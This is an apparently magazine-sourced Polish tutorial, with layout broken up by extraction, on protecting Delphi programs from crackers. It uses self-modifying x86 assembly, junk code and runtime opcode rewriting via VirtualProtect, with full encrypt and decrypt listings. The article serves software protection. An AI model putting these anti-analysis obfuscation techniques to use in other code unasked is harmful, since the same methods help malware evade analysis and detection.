Obejct Pascal oraz asemblera 

x86

, który 

umożliwia napisanie samomodyfikującego 
się kodu. Zastosowana metoda 

SMC

 jest 

mieszanką technik przedstawionych w 
ramce Charakterystyka 

SMC

. Nie jest to więc 

ściśle klasyfikowalny przykład SMC, ale mój 
własny pomysł, na który wpadłem jeszcze 
przed głębszym zainteresowaniem się tym 
zagadnieniem i poznaniem klasycznych 
metod 

SMC

. Można stwierdzić, że jest to 

przykład zaawansowanego polimorfizmu z 
elementami metamorficznymi. Od klasycznej 
metody polimorficznej odróżnia go m.in. brak 
szyfrowania całego kodu, a jedynie zastosowanie 
we właściwym kodzie metod utrudniających 
zrozumienie funkcji deszyfrującej w typowej 
metodzie polimorficznej. Zastosowałem 
zatem wymienione metody bezpośrednio do 
generatora klucza, zamiast do ewentualnego 
kodu szyfrującego ten generator. Przykładem 
metamorfizmu mogą być składane w locie 
niektóre instrukcje i przemieszczanie ich w 
pamięci oraz zmiana zawartości segmentu kodu 
generatora przy każdej iteracji w głównej pętli.

Zasada działania przykładowego 

programu

Program pobiera dwa łańcuchy wejściowe. 
Pierwszy jest właściwym tekstem podlegającym 
zakodowaniu i późniejszej weryfikacji, drugi jest 
losowym łańcuchem dowolnych znaków (o 
długości równej łańcuchowi podstawowemu). 

Stopień trudności

Kod w Delphi

– zmora 

crackera

Artykuł porusza kwestię zabezpieczania plików wykonywalnych 

przed odkrywaniem przez osoby nieuprawnione algorytmów do 

szyfrowania i generowania kluczy, zabezpieczających aplikacje 

Windows napisane w środowisku Delphi. 

background image

25

 

HAKIN9 

KOD W DELPHI – ZMORA CRACKERA

6/2008

Następnie łączy te dwa łańcuchy według 
odpowiedniego algorytmu zakodowanego 
w asemblerze z wykorzystaniem SMC.

Przykładowy wynik działania 

algorytmu jest przedstawiony w ramce. 
Do odszyfrowania wymagany jest 

oczywiście łańcuch wyjściowy i użyty 
do jego wygenerowania losowy 
klucz. Wersja podstawowa, napisana 
tylko w języku Pascal – bez użycia 
wstawek asemblerowych 

SMC

, jest 

przedstawiona na Listingu 1. Kod 
pozwala też na zapoznanie się z 
zastosowanym w przykładzie prostym 
algorytmem szyfrującym. Zakodowanie 
tekstu wejściowego polega na 
wygenerowaniu – przy pomocy 
funkcji 

SMC _ GenHashStr(StrLen: 

Integer)

 – losowego klucza, będącego 

łańcuchem tekstowym o długości 
równej kodowanemu łańcuchowi, 
składającym się ze znaków o kodach 
od 0 do 255 i połączeniu go za 
pomocą operacji różnicy symetrycznej 
(XOR) z łańcuchem wejściowym. 
Operacja XOR jest wykonywana na 
różnicy delta, zwiększonej o bieżącą 

Listing 1. 

Funkcja szyfrująca w wersji bez wstawek asemblerowych i SMC

{ Funkcja pomocnicza – zamienia podany bajt na zapis szesnastkowy z wiodącym zerem }

function

 

SMC_Byte2HexStr15

(

Num

:

 

Byte

):

 

Char

;

begin

   

if

 

(

Num

 

>=

 

0

)

 

and

 

(

Num

 

<=

 

9

)

 

then

      

SMC_Byte2HexStr15

 

:=

 

Chr

(

Ord

(

'0'

)

 

+

 

Num

)

   

else

      

SMC_Byte2HexStr15

 

:=

 

Chr

(

Ord

(

'A'

)

 

+

 

Num

 

-

 

10

);

end

;

{ Funkcja pomocnicza – zamienia podany znak zapisu szesnastkowego na liczbę całkowitą 

}

function

 

SMC_HexStr2Integer15

(

HexChar

:

 

Char

):

 

Integer

;

begin

   

if

 

(

HexChar

 

>=

 

'0'

)

 

and

 

(

HexChar

 

<=

 

'9'

)

 

then

      

SMC_HexStr2Integer15

 

:=

 

Ord

(

HexChar

)

 

-

 

Ord

(

'0'

)

   

else

      

SMC_HexStr2Integer15

 

:=

 

Ord

(

HexChar

)

 

-

 

Ord

(

'A'

)

 

+

 

10

;

end

;

{ Pomocnicza funkcja generująca losowy łańcuch tekstowy o zadanej długości }

function

 

SMC_GenHashStr

(

StrLen

:

 

Integer

):

 

AnsiString

;

var

   

i

:

 

Integer

;

   

outStr

:

 

AnsiString

;

begin

   

SetLength

(

outStr

StrLen

);

   

Randomize

();

   

for

 

i

 

:=

 

1

 

to

 

StrLen

 

do

 

outStr

[

i

]

 

:=

 

Chr

(

Random

(

256

));

   

SMC_GenHashStr

 

:=

 

outStr

;

end

;

{ Funkcja szyfrująca – wersja bez zastosowania SMC
    InputStr – łańcuch wejściowy przeznaczony do zakodowania
    HashStr – losowy łańcuch pełniący rolę klucza szyfrowania }

function

 

EncryptStr

(

InputStr

HashStr

:

 

AnsiString

):

 

AnsiString

;

var

   

i

delta

EncVal

:

 

Integer

;

   

Char1

Char2

:

 

Char

;

   

HexStr

:

 

AnsiString

;

   

outStr

:

 

AnsiString

;

begin

   

outStr

 

:=

 

''

;

   

if

 

Length

(

InputStr

)

 

<>

 

Length

(

HashStr

)

 

then

 

Exit

;

   

SetLength

(

HexStr

8

);

   

for

 

i

 

:=

 

1

 

to

 

Length

(

InputStr

)

 

do

   

begin

      

Char1

 

:=

 

InputStr

[

i

];

      

Char2

 

:=

 

HashStr

[

i

];

      

{ Obliczenie wartości wyjściowej }

      

delta

 

:=

 

Ord

(

Char1

)

 – 

Ord

(

Char2

);

      

EncVal

 

:=

 

(

delta

 

+

 

i

)

 

xor

 

Ord

(

Char2

);

      

{ Zamiana obliczonej wartości wyjściowej na zapis szesnastkowy (jako liczby 32-

bitowej) }

      

HexStr

[

1

]

 

:=

 

SMC_Byte2HexStr15

(

EncVal

 

and

 $

000000F

);

      

HexStr

[

2

]

 

:=

 

SMC_Byte2HexStr15

((

EncVal

 

and

 $000000

F0

)

 

shr

 

4

);

      

HexStr

[

3

]

 

:=

 

SMC_Byte2HexStr15

((

EncVal

 

and

 $00000

F00

)

 

shr

 

8

);

      

HexStr

[

4

]

 

:=

 

SMC_Byte2HexStr15

((

EncVal

 

and

 $0000

F000

)

 

shr

 

12

);

      

HexStr

[

5

]

 

:=

 

SMC_Byte2HexStr15

((

EncVal

 

and

 $000

F0000

)

 

shr

 

16

);

      

HexStr

[

6

]

 

:=

 

SMC_Byte2HexStr15

((

EncVal

 

and

 $00

F00000

)

 

shr

 

20

);

      

HexStr

[

7

]

 

:=

 

SMC_Byte2HexStr15

((

EncVal

 

and

 $0

F000000

)

 

shr

 

24

);

      

HexStr

[

8

]

 

:=

 

SMC_Byte2HexStr15

((

EncVal

 

and

 $

F0000000

)

 

shr

 

28

);

      

outStr

 

:=

 

outStr

 

+

 

HexStr

;

   

end

;

   

EncryptStr

 

:=

 

outStr

;

end

;

Rysunek 1. 

Widok okna testowej aplikacji 

SMC

Rysunek 2. 

Widok źródła Pascala 

podczas śledzenia aplikacji

Przykład działania 

funkcji szyfrującej SMC

Tekst wejściowy: Hakin9
Tekst wyjściowy: 5AFFFFFF36FFFFFF88FFFFF
FD4000000B6000000F3000000

background image

ATAK

26

 

HAKIN9 6/2008

KOD W DELPHI – ZMORA CRACKERA

27

 

HAKIN9 

6/2008

Listing 2a. 

Funkcja szyfrująca z wstawkami asemblerowymi SMC

{ Funkcja szyfrująca – wersja z zastosowaniem SMC
    InputStr – łańcuch wejściowy przeznaczony do zakodowania
    HashStr – losowy łańcuch pełniący rolę klucza szyfrowania }

function

 

SMC_EncryptStr

(

InputStr

HashStr

:

 

AnsiString

):

 

AnsiString

;

var

   

i

delta

EncVal

:

 

Integer

;

   

OldProtect

:

 

Integer

;

  

{ Oryginalna wartość flag praw dostępu 

do modyfikowanego kodu}

   

Char1

Char2

:

 

Char

;

   

StartAddr

:

 

Pointer

;

   

{ Początkowy adres bloku modyfikowanego 

kodu – etykieta l1 }

   

CodeSize

:

 

Integer

;

    

{ Rozmiar bloku modyfikowanego kodu 

– między etykietami l1 i l9 }

   

HexStr

:

 

AnsiString

;

   

outStr

:

 

AnsiString

;

label

 

l0

l1

l2

l3

l4

l5

l6

l7

l8

l9

;

begin

   

outStr

 

:=

 

''

;

   

if

 

Length

(

InputStr

)

 

<>

 

Length

(

HashStr

)

 

then

 

Exit

;

   

SetLength

(

HexStr

8

);

   

{ Obliczenie rozmiaru bloku modyfikowanego kodu }

   

asm

      

MOV

    

EAX

OFFSET

 

l1

    

{ Pobranie adresu etykiety l1 do 

EAX (początek) }

      

MOV

    

StartAddr

EAX

    

{ Przepisanie zawartości 

akumulatora do odpowiedniej zmiennej }

      

MOV

    

EAX

OFFSET

 

l9

    

{ Pobranie adresu etykiety l9 do 

EAX (koniec) }

      

SUB

    

EAX

OFFSET

 

l1

    

{ Obliczenie rozmiaru kodu jako 

różnicy adresów l9 i l1 }

      

MOV

    

CodeSize

EAX

    

{ Zapisanie wyniku odejmowania w 

odpowiedniej zmiennej }

   

end

;

  

{ Ustawienie praw do wykonywania, odczytu i zapisu (PAGE_

EXECUTE_READWRITE ) w

     interesującym nas obszarze pamięci (stronie) z 

zapamiętaniem oryginalnych atrybutów }

   

VirtualProtect

(

StartAddr

CodeSize

PAGE_EXECUTE_READWRITE

@

OldProtect

);

   

{ Główna pętla funkcji }

   

for

 

i

 

:=

 

1

 

to

 

Length

(

InputStr

)

 

do

   

begin

      

Char1

 

:=

 

InputStr

[

i

];

      

Char2

 

:=

 

HashStr

[

i

];

      

asm

         

MOV

    

EAX

OFFSET

 

l3

    

{ Zapisanie adresu etykiety 

l3 w rejestrze akumulatora EAX }

         

PUSH

   

EAX

    

{ Odłożenie zawartości EAX na stosie 

– do późniejszych obliczeń }

         

MOV

    

BYTE

 

PTR

 

[

EAX

]

AH

    

{ Zapisanie pod adresem 

l3 losowej wartości z AH }

         

MOV

    

AL

Char2

    

{ Pobranie do AL znaku z łańcucha 

klucza }

         

MOV

    

BYTE

 

PTR

 

l4

 

+

 

2

AL

    

{ Zapisanie kodu znaku z 

AL 2 bajty za adresem l4 }

         

POP

    

EDX

    

{ Zdjęcie ze stosu uprzednio 

zapamiętanej zawartości EAX i zapis do 
EDX }

         

MOV

    

WORD

 

PTR

 

l1

CX

    

{ Zapis losowego słowa z CX 

pod adresem etykiety l1 }

         

JMP

    

l7

      

l0

:

         

MOV

    

DWORD

 

PTR

 

l9

 

-

 

4

EBX

    

{ Zapis losowego 

podwójnego słowa z EBX przed l9 }

         

JMP

    

l5

      

l1

:

         

DW

 0

F00Fh

    

{ Początkowy „śmieciowy kod” – tu 

znajdzie się później rozkaz skoku do l8 
}

      

l2

:

         

JMP

    

SMALL

 

l2

    

{ Nieużywany kod – „zmyłka” }

      

l3

:

         

DD

 0

FF0A0032h

    

{ Początkowy „śmieciowy kod” }

         

DB

 0

Bh

    

{ Kawałek kodu krótkiego skoku względnego 

(0EBh) – JMP SHORT }

      @

sub_opcode

:

    

{ kod odpowiadający operacji: delta := 

Ord(Char1) – Ord(Char2); }

         

SUB

    

EAX

EDX

      @

add_opcode

:

    

{ kod odpowiadający operacji: delta + 

i; }

         

ADD

    

EAX

i

         

NOP

      @

xor_opcode

:

    

{ kod odpowiadający operacji: (delta + i) 

xor Ord(Char2); }

         

XOR

    

EAX

EDX

      

l4

:

         

JMP

    

SMALL

 

l2

    

{ Nieużywany kod – „zmyłka” }

         

DB

 01

h

    

{ Początkowy „śmieciowy kod” }

      

l5

:

         

MOV

    

AL

Char1

    

{ Pobranie do AL znaku z łańcucha 

wejściowego – „zmyłka” :-) }

      

{ Pobranie do AL bajtu z pamięci pod adresem [EDX + 4] (w 

EDX jest adres etykiety l3 

        zapamiętany na samym początku iteracji sekwencją: MOV 

EAX, OFFSET l3; POP EDX)

        [EDX + 4] wskazuje na bajt DB 0Bh będący częścią kodu 

instrukcji krótkiego skoku

        względnego SHORT JMP rel_addr }

         

MOV

    

AL

BYTE

 

PTR

 

[

EDX

 

+

 

4

]

         

OR

     

AL

, 0

E0h

    

{ Wykonanie operacji OR z maską 

0E0h – w wyniku otrzymujemy 0EBh }

         

MOV

    

BYTE

 

PTR

 

l1

AL

    

{ Zapis kodu rozkazu JMP 

SHORT pod adresem l1 }

         

MOV

    

EAX

OFFSET

 

l8

    

{ Zapis do EAX adresu 

etykiety l8 }

         

SUB

    

EAX

OFFSET

 

l1

    

{ Odjęcie od adresu l8 adresu 

l1 }

         

SUB

    

EAX

2

    

{ Zmniejszenie wyniku o 2, czyli o 

rozmiar rozkazu JMP z argumentem }

         

MOV

    

BYTE

 

PTR

 

l1

 

+

 

1

AL

    

{ Zapis obliczonego 

argumentu rozkazu JMP }

         

JMP

    

SMALL

 

l1

    

{ Skok do l1 gdzie jest już 

„zbudowany” rozkaz skoku do l8 }

      

l6

:

         

JMP

    

SMALL

 

l8

    

{ Nieużywany kod – kolejna „zmyłka” 

}

      

l7

:

         

NOP

         

JMP

    

l0

         

DW

 1427

h

    

{ Początkowy „śmieciowy kod” }

      

l8

:

         

MOV

    

AX

WORD

 

PTR

 @

sub_opcode

    

{ Pobranie kodu 

rozkazu SUB EAX, EDX }

         

MOV

    

WORD

 

PTR

 @

sub

AX

    

{ Nadpisanie śmieci pod 

adresem @sub kodem rozkazu }

         

MOVZX

  

EAX

Char1

         

MOVZX

  

EDX

Char2

      @

sub

:

         

DW

 0000

h

    

{ Początkowy „śmieciowy kod” – tu znajdzie 

się później SUB EAX, EDX }

         

MOV

    

delta

EAX

         

MOV

    

EAX

DWORD

 

PTR

 @

add_opcode

    

{ Pobranie kodu 

rozkazu ADD EAX, EDX }

background image

ATAK

26

 

HAKIN9 6/2008

KOD W DELPHI – ZMORA CRACKERA

27

 

HAKIN9 

6/2008

Listing 2b. 

Funkcja szyfrująca z wstawkami asemblerowymi SMC

         

MOV

    

DWORD

 

PTR

 @

add

EAX

    

{ Nadpisanie śmieci pod 

adresem @add }

         

MOV

    

EAX

delta

      @

add

:

         

DD

 01010000

h

    

{ Początkowy „śmieciowy kod” – tu 

znajdzie się później ADD EAX, i }

         

MOV

    

DX

WORD

 

PTR

 @

xor_opcode

    

{ Pobranie kodu 

rozkazu XOR EAX, EDX }

         

MOV

    

WORD

 

PTR

 @

xor

DX

    

{ Nadpisanie śmieci pod 

adresem @xor }

         

MOVZX

  

EDX

Char2

      @

xor

:

         

DW

 4523

h

    

{ Początkowy „śmieciowy kod” – tu znajdzie 

się później XOR EAX, EDX }

         

MOV

    

EncVal

EAX

         

MOV

    

WORD

 

PTR

 @

sub

AX

    

{ Zamazanie kodu w @sub 

losową wartością z AX }

         

MOV

    

DWORD

 

PTR

 @

add

EAX

    

{ Zamazanie kodu w @add 

losową wartością z EAX }

         

MOV

    

WORD

 

PTR

 @

xor

DX

    

{ Zamazanie kodu w @xor 

losową wartością z DX }

         

JMP

    

SMALL

 

l9

    

{ Ominięcie śmieci poprzez skok do 

l9 }

         

DD

     3422

A0F3h

    

{ Początkowy „śmieciowy kod” }

      

l9

:

         

MOV

    

WORD

 

PTR

 

l1

CX

    

{ Zamazanie kodu skoku w l1 

losową wartością z CX }

      

end

;

      

{ Zamiana obliczonej wartości wyjściowej na zapis 

szesnastkowy (jako liczby 32-bitowej) }

      

HexStr

[

1

]

 

:=

 

SMC_Byte2HexStr15

(

EncVal

 

and

 $

000000F

);

      

HexStr

[

2

]

 

:=

 

SMC_Byte2HexStr15

((

EncVal

 

and

 $000000

F0

)

 

shr

 

4

);

      

HexStr

[

3

]

 

:=

 

SMC_Byte2HexStr15

((

EncVal

 

and

 $00000

F00

)

 

shr

 

8

);

      

HexStr

[

4

]

 

:=

 

SMC_Byte2HexStr15

((

EncVal

 

and

 $0000

F000

)

 

shr

 

12

);

      

HexStr

[

5

]

 

:=

 

SMC_Byte2HexStr15

((

EncVal

 

and

 $000

F0000

)

 

shr

 

16

);

      

HexStr

[

6

]

 

:=

 

SMC_Byte2HexStr15

((

EncVal

 

and

 $00

F00000

)

 

shr

 

20

);

      

HexStr

[

7

]

 

:=

 

SMC_Byte2HexStr15

((

EncVal

 

and

 $0

F000000

)

 

shr

 

24

);

      

HexStr

[

8

]

 

:=

 

SMC_Byte2HexStr15

((

EncVal

 

and

 $

F0000000

)

 

shr

 

28

);

 

     outStr := outStr + HexStr;

   

end

;

   

{ Przywrócenie oryginalnych praw dostępu do strony 

zawierającej modyfikowany kod }

   

VirtualProtect

(

StartAddr

CodeSize

OldProtect

@

OldProtect

);

   

SMC_EncryptStr

 

:=

 

outStr

;

end

;

Charakterystyka SMC

Cel stosowania:

Utrudnienie deasemblacji i analizy kodu programu w celu ochrony algorytmów zabezpieczających program przed nieuprawnionym użytkowaniem.

Zasada działania:

Dynamiczna modyfikacja kodu programu w czasie jego działania, szyfrowanie wybranych sekcji kodu, wprowadzanie do kodu programu fałszywych 
instrukcji lub nawet kodu nie reprezentującego żadnej rozpoznawanej przez procesor instrukcji, przemieszczanie sekcji zaszyfrowanego kodu do różnych 
miejsc w pamięci, gdzie – po odszyfrowaniu – następuje jego wykonanie, np. na stosie.

Stosowane metody:

• 

prosty polimorfizm,

• 

zaawansowany polimorfizm,

• 

metamorfizm.

Prosty polimorfizm:

Umożliwia ciągłą zmienność kodu przy każdym uruchomieniu programu oraz zabezpiecza go poprzez zastosowanie szyfrowania. Na początku 
właściwego kodu część deszyfrująca, na podstawie losowego klucza zapisanego w zaszyfrowanym kodzie, rozkodowuje zawarte za nią instrukcje. Prosta 
metoda, łatwa do wykrycia i obejścia.

Zaawansowany polimorfizm:

Jest to rozwinięcie podstawowej metody polimorficznej, wzbogacone o:
• 

wymienianie grup instrukcji między sobą,

• 

generowanie różnych instrukcji wykonujących tę samą operację,

• 

stosowanie wywołań niepotrzebnych podprogramów,

• 

stosowanie dużej ilości skoków warunkowych,

• 

wtrącanie między instrukcje programu niepotrzebnego, losowego kodu („śmieciowy kod” – ang. junk code).
Kombinacja wymienionych powyżej technik znacznie utrudnia śledzenie aplikacji, a dokładnie – funkcji deszyfrującej właściwy kod.

Metamorfizm:

Największą wadą kodu polimorficznego jest to, że po jego odkodowaniu jest on dostępny w pamięci w postaci pozwalającej na łatwe prześledzenie. 
Metamorfizm polega na całkowitej przebudowie oryginalnego kodu, który w przypadku metod polimorficznych jest tylko szyfrowany. Jest to efektywna 
metoda zabezpieczająca, ale jednocześnie trudna w stosowaniu. Istnieją specjalne narzędzia do automatycznego wykonywania odpowiednich 
przekształceń kodu (np: www.defendion.com).

background image

ATAK

28

 

HAKIN9 6/2008

KOD W DELPHI – ZMORA CRACKERA

29

 

HAKIN9 

6/2008

wartość licznika pętli, i kodzie znaku z 
łańcucha losowego klucza 

(EncVal :

= (delta + i) xor Ord(Char2);)

Wartość delta jest różnicą między 

znakiem wejściowym a odpowiadającym 
mu znakiem z klucza 

(delta :

= Ord(Char1) – Ord(Char2);)

Algorytm można oczywiście uzależnić 

od dodatkowych zmiennych i pośrednich 
obliczeń, komplikując w ten sposób 
proces uzyskania wartości wyjściowej. 
Można też wprowadzić modyfikacje 

Listing 3. 

Funkcja deszyfrująca z wstawkami asemblerowymi SMC

{ Funkcja deszyfrująca – wersja z zastosowaniem SMC
    InputStr – łańcuch wejściowy przeznaczony do odkodowania
    HashStr – losowy łańcuch pełniący rolę klucza szyfrowania }

function

 

SMC_DecryptStr

(

InputStr

HashStr

:

 

AnsiString

):

 

AnsiString

;

var

   

i

delta

EncVal

:

 

Integer

;

   

OldProtect

:

 

Integer

;

   

Char1

Char2

:

 

Char

;

   

StartAddr

:

 

Pointer

;

   

CodeSize

:

 

Integer

;

   

outStr

:

 

AnsiString

;

label

 

l0

l1

l2

l3

l4

l5

l6

l7

l8

l9

;

begin

   

outStr

 

:=

 

''

;

   

asm

      

MOV

    

EAX

OFFSET

 

l1

      

MOV

    

StartAddr

EAX

      

MOV

    

EAX

OFFSET

 

l9

      

SUB

    

EAX

OFFSET

 

l1

      

MOV

    

CodeSize

EAX

   

end

;

   

VirtualProtect

(

StartAddr

CodeSize

PAGE_EXECUTE_READWRITE

@

OldProtect

);

   

for

 

i

 

:=

 

1

 

to

 

Length

(

InputStr

)

 

div

 

8

 

do

   

begin

      

Char2

 

:=

 

HashStr

[

i

];

      

encVal

 

:=

 

SMC_HexStr2Integer15

(

InputStr

[

8

 

*

 

(

i

 

-

 

1

)

 

+

 

1

]);

      

encVal

 

:=

 

encVal

 

or

 

(

SMC_HexStr2Integer15

(

InputStr

[

8

 

*

 

(

i

 

-

 

1

)

 

+

 

2

])

 

shl

 

4

);

      

encVal

 

:=

 

encVal

 

or

 

(

SMC_HexStr2Integer15

(

InputStr

[

8

 

*

 

(

i

 

-

 

1

)

 

+

 

3

])

 

shl

 

8

);

      

encVal

 

:=

 

encVal

 

or

 

(

SMC_HexStr2Integer15

(

InputStr

[

8

 

*

 

(

i

 

-

 

1

)

 

+

 

4

])

 

shl

 

12

);

      

encVal

 

:=

 

encVal

 

or

 

(

SMC_HexStr2Integer15

(

InputStr

[

8

 

*

 

(

i

 

-

 

1

)

 

+

 

5

])

 

shl

 

16

);

      

encVal

 

:=

 

encVal

 

or

 

(

SMC_HexStr2Integer15

(

InputStr

[

8

 

*

 

(

i

 

-

 

1

)

 

+

 

6

])

 

shl

 

20

);

      

encVal

 

:=

 

encVal

 

or

 

(

SMC_HexStr2Integer15

(

InputStr

[

8

 

*

 

(

i

 

-

 

1

)

 

+

 

7

])

 

shl

 

24

);

      

encVal

 

:=

 

encVal

 

or

 

(

SMC_HexStr2Integer15

(

InputStr

[

8

 

*

 

(

i

 

-

 

1

)

 

+

 

8

])

 

shl

 

28

);

      

asm

         

MOV

    

EAX

OFFSET

 

l3

         

PUSH

   

EAX

         

MOV

    

BYTE

 

PTR

 

[

EAX

]

AH

         

MOV

    

AL

Char2

         

MOV

    

BYTE

 

PTR

 

l4

 

+

 

2

AL

         

POP

    

EDX

         

MOV

    

WORD

 

PTR

 

l1

CX

         

JMP

    

l7

      

l0

:

         

MOV

    

DWORD

 

PTR

 

l9

 

-

 

4

EBX

         

JMP

    

l5

      

l1

:

         

DW

 0

F00Fh

      

l2

:

         

JMP

    

SMALL

 

l2

      

l3

:

         

DD

 0

FF0A0032h

         

DB

 0

Bh

      @

add_opcode

:

         

ADD

    

EAX

EDX

      @

sub_opcode

:

         

SUB

    

EAX

i

         

NOP

      @

xor_opcode

:

         

XOR

    

EAX

EDX

      

l4

:

         

JMP

    

SMALL

 

l2

         

DB

 01

h

      

l5

:

         

MOV

    

AL

Char1

         

MOV

    

AL

BYTE

 

PTR

 

[

EDX

 

+

 

4

]

         

OR

     

AL

, 0

E0h

         

MOV

    

BYTE

 

PTR

 

l1

AL

         

MOV

    

EAX

OFFSET

 

l8

         

SUB

    

EAX

OFFSET

 

l1

         

SUB

    

EAX

2

         

MOV

    

BYTE

 

PTR

 

l1

 

+

 

1

AL

         

JMP

    

SMALL

 

l1

      

l6

:

         

JMP

    

SMALL

 

l8

      

l7

:

         

NOP

         

JMP

    

l0

         

DW

 1427

h

      

l8

:

         

MOV

    

DX

WORD

 

PTR

 @

xor_opcode

         

MOV

    

WORD

 

PTR

 @

xor

DX

         

MOV

    

EAX

EncVal

         

MOVZX

  

EDX

Char2

      @

xor

:

         

DW

 4523

h

         

MOV

    

delta

EAX

         

MOV

    

EAX

DWORD

 

PTR

 @

sub_opcode

         

MOV

    

DWORD

 

PTR

 @

sub

EAX

         

MOV

    

EAX

delta

      @

sub

:

         

DD

 01010000

h

         

MOV

    

delta

EAX

         

MOVZX

  

EDX

Char2

         

MOV

    

AX

WORD

 

PTR

 @

add_opcode

         

MOV

    

WORD

 

PTR

 @

add

AX

         

MOV

    

EAX

delta

      @

add

:

         

DW

 0000

h

         

MOV

    

Char1

AL

         

MOV

    

DWORD

 

PTR

 @

sub

EAX

         

MOV

    

WORD

 

PTR

 @

add

AX

         

MOV

    

WORD

 

PTR

 @

xor

DX

         

JMP

    

SMALL

 

l9

         

DD

     3422

A0F3h

      

l9

:

         

MOV

    

WORD

 

PTR

 

l1

CX

      

end

;

      

outStr

 

:=

 

outStr

 

+

 

Char1

;

   

end

;

   

VirtualProtect

(

StartAddr

CodeSize

OldProtect

, @

OldProtect

);

   

SMC_DecryptStr

 

:=

 

outStr

;

end

;

background image

ATAK

28

 

HAKIN9 6/2008

KOD W DELPHI – ZMORA CRACKERA

29

 

HAKIN9 

6/2008

do kodu generującego szesnastkową 
reprezentację wyjściowych wartości w 
postaci tekstowej.

Okno programu testowego z 

widocznymi rezultatami szyfrowania i 
deszyfrowania jest przedstawione na 
Rysunku 1.

Funkcję szyfrującą SMC zawiera Listing 

2a,b., natomiast funkcja deszyfrująca 

SMC

 

jest pokazana na Listingu 3. Listing 2a,b. 
jest bogato komentowany, aby umożliwić 
Czytelnikowi prześledzenie krok po kroku 
operacji wykonywanych przez program. 
Kod z Listingu 3. jest analogiczny – realizuje 
w odwrotnej kolejności operacje z Listingu 
2a,b. Na Listingu 3. nie zamieszczałem 
już komentarzy, aby nie wydłużać kodu 
i ukazać go w czystej postaci. Dla 

niewtajemniczonych w wykorzystywaniu 
asemblera w kodzie Pascala zamieściłem 
w ramce małą ściągę wyjaśniającą 
znaczenie wykorzystywanych w programie 
dyrektyw i mnemonik instrukcji asemblera. 
Jest to oczywiście bardzo skrótowe 
wyjaśnienie i nie zastąpi porządnego 
podręcznika asemblera i architektury 
mikroprocesorów rodziny 

x86

 stosowanych 

w komputerach PC.

Zawartość wstawek asemblerowych w 

obydwóch funkcjach może wydawać się 
zagmatwana, ale właśnie o to nam przecież 
chodzi. Jednak niejasny wygląd kodu 
źródłowego to nie koniec niespodzianek 
dla osoby chcącej prześledzić ten kod 
po kompilacji i uruchomieniu. Przy każdej 
iteracji pętli for niektóre elementy kodu 

będą ulegać losowej zmianie, powodując 
pojawianie się bezsensownych, wręcz 
absurdalnych ciągów instrukcji w programie 
śledzącym. Nawet po podświetleniu 
jednej z takich podmienionych instrukcji, w 
rzeczywistości kod zawarty w jej miejscu w 
danym momencie w pamięci będzie inny 
i wykona właściwe obliczenia. Pozostanie 
tylko śledzenie zawartości rejestrów i 
domysły, jakie operacje arytmetyczne lub 
logiczne mogły doprowadzić do określonych 
wyników. Na pewno jest to dużo trudniejsze 
od prześledzenia zwykłego, statycznego 
kodu z niezmiennymi instrukcjami i 
prezentacją mnemonik odpowiadających 
rzeczywiście wykonywanym rozkazom.

Zanim wyjaśnię zasadę działania 

obydwóch funkcji, przyjrzyjmy się najpierw 

Dyrektywy i rozkazy BASM Delphi (Built-In Assembler) wykorzystywane w 

przykładowym programie

Wykorzystywane dyrektywy wbudowanego asemblera Delphi:
• 

OFFSET x – zwraca adres identyfikatora x (zmiennej, etykiety, podprogramu),

• 

DB n – wstawia w kod programu bajt o wartości n (Define Byte),

• 

DW n – wstawia w kod programu słowo o wartości n (Define Word),

• 

DD n – wstawia w kod programu podwójne słowo o wartości n (Define Double word).

Stosowane oznaczenia:
• 

imm – wartość bezpośrednia 8-, 16- lub 32-bitowa (literał),

• 

mem – adres pamięci (identyfikator zmiennej, etykiety, podprogramu),

• 

rel8 – 8-bitowa wartość adresu względnego (jako liczba ze znakiem: -128 – 127),

• 

Rn – rejestr CPU o numerze n.

Rejestry CPU w architekturze x86:
• 

EAX – akumulator (32 bity), główny rejestr CPU wykorzystywany w obliczeniach,

• 

AX – akumulator (16 mniej znaczących bitów EAX),

• 

AL – akumulator (8 mniej znaczących bitów AX),

• 

AH – akumulator (8 bardziej znaczących bitów AX).

Pozostałe wykorzystywane rejestry (EBX, ECX, EDX) podlegają takiemu samemu podziałowi, jak rejestr EAX – z zachowaniem analogicznych 

konwencji nazewniczych.
Tu ważna uwaga: można dowolnie modyfikować EAX, ECX, EDX, natomiast pozostałe rejestry powinny być zapamiętane na stosie przed ich 

ewentualną modyfikacją (dotyczy to między innymi: EDI, ESI, ESP, EBP, EBX), a na końcu funkcji ich zawartości powinny być przywrócone. Jest to 

wymóg kompilatora języka wysokiego poziomu (w tym przypadku Delphi). W przypadku pisania programu w całości w asemblerze takie ograniczenia nie 
obowiązują.
Wykorzystywane rozkazy wbudowanego asemblera Delphi:
• 

MOV R1, R2 – skopiowanie zawartości rejestru R2 do R1,

• 

MOV R, imm – wpisanie do rejestru R bezpośredniej wartości imm ,

• 

MOV mem, R – wpisanie do komórki pamięci mem wartości z rejestru R ,

• 

MOV R, mem – wpisanie do rejestru R wartości z komórki pamięci mem,

• 

PUSH R – odłożenie na stos zawartości rejestru R ,

• 

POP R – zdjęcie ze stosu liczby i zapisanie jej w rejestrze R ,

• 

ADD R1, R2 – wykonanie operacji: R1 = R1 + R2,

• 

SUB R1, R2 – wykonanie operacji: R1 = R1 – R2,

• 

SUB R, imm – wykonanie operacji: R = R – imm ,

• 

XOR R1, R2 – wykonanie operacji: R1 = R1 xor R2,

• 

JMP SHORT rel8 – krótki bezwarunkowy skok względny (rel8 bajtów względem JMP).

Uwaga:
Zapisy BYTE PTR [R], WORD PTR[R], DWORD PTR [R] oznaczają komórkę pamięci wskazywaną przez zawartość rejestru R (odpowiednio: bajt, 

słowo, podwójne słowo).
Czyli zapis R oznacza odwołanie się do zawartości rejestru R , a zapis [R] oznacza odwołanie się do zawartości pamięci pod adresem zapisanym w 

rejestrze R.

background image

ATAK

30

 

HAKIN9 6/2008

KOD W DELPHI – ZMORA CRACKERA

31

 

HAKIN9 

6/2008

efektom działania 

SMC

, pokazanym na 

kolejnych Rysunkach (2-7).

Rysunek 2. przedstawia okno kodu 

Pascala podczas sesji debuggera ze 
wskaźnikiem w linii 144.

Odpowiadający tej sytuacji kod 

asemblera jest pokazany na Rysunku 3. 
(zakładka 

CPU debuggera

). Aby podejrzeć 

skompilowany program Delphi w postaci 
niskopoziomowej należy ustawić pułpakę 
(breakpoint) we wnętrzu naszej funkcji 
szyfrującej 

SMC _ EncryptStr

 (trzeba 

kliknąć niebieski punkt przy odpowiedniej 
linii, znajdujący się z lewej strony okna 
kodu źródłowego). Po uruchomieniu 
programu i wywołaniu funkcji program 
zostanie zatrzymany w wybranej linii. Od 
tej chwili będą dostępne dodatkowe okna 
